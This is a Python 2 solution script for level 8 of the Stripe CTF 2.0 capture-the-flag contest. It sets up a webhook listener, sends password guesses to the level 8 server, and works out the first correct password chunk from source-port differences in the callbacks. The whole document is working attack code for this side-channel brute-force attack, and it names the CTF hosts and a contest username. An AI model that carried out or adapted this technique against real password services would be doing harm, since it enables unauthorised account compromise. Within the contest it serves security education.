Stripe CTF 2.0, level8, py2k webhook for getting the 1st chunk

1st_chunk[py2k].py

from os import curdir, sep
import httplib
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

workvar = 0
# arrvar holds the remaining possible solutions to this block
arrvar = range(999)
globport = 0
# config vars:
serva8 = "level08-3.stripe-ctf.com" #level8 server
serva2 = "level02-3.stripe-ctf.com" #level2 server
webhookport = 35215
username = "user-jzshmsocwx" # username on level8

# handle incoming HTTP requests
class MyHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        global workvar, globport, arrvar
        varLen = int(self.headers['Content-Length'])
        postVars = self.rfile.read(varLen)
        self.send_response(200)
        self.send_header('Content-type',    'text/plain')
        self.end_headers()
        self.wfile.write("POST OK\n");
        self.wfile.write("Data: "+str(postVars));

        # print port
        print "[" + str(workvar).zfill(3) + "[000][000][000]",
        print "port: " + str(self.client_address[1]) + "; ",
        print "diff: " + str(self.client_address[1] - globport),
        if self.client_address[1] - globport == 2:
            arrvar.remove(arrvar[workvar])
            print "INCORRECT! (remaining to test: "+str(len(arrvar))+")"
        elif len(arrvar) == 1:
            print "CHUNK SOLUTION: " + str(arrvar[0]) + "\n"
        else:
            print "POTENTIAL! (remaining to test: "+str(len(arrvar))+")"

        globport = self.client_address[1]
        newConnection()

        return
#        except :
        pass

def newConnection():
    global workvar, username, serva2, webhookport
    workvar = workvar + 1
    if workvar > len(arrvar) - 1:
        workvar = 0
    conn = httplib.HTTPSConnection(serva8, 443)
    testn = str(arrvar[workvar]).zfill(3) + "000000000"
    print "Testing : " + testn
    conn.request("POST", "/"+username+"/", '{"password": "' + testn + '", "webhooks": ["'+serva2+':'+str(webhookport)+'"] }')
    conn.close()


def main():
    try:
        server = HTTPServer(('', webhookport), MyHandler)
        print 'started httpserver...'
        server.serve_forever()
    except KeyboardInterrupt:
        print '^C received, shutting down server'
        server.socket.close()

if __name__ == '__main__':
    main()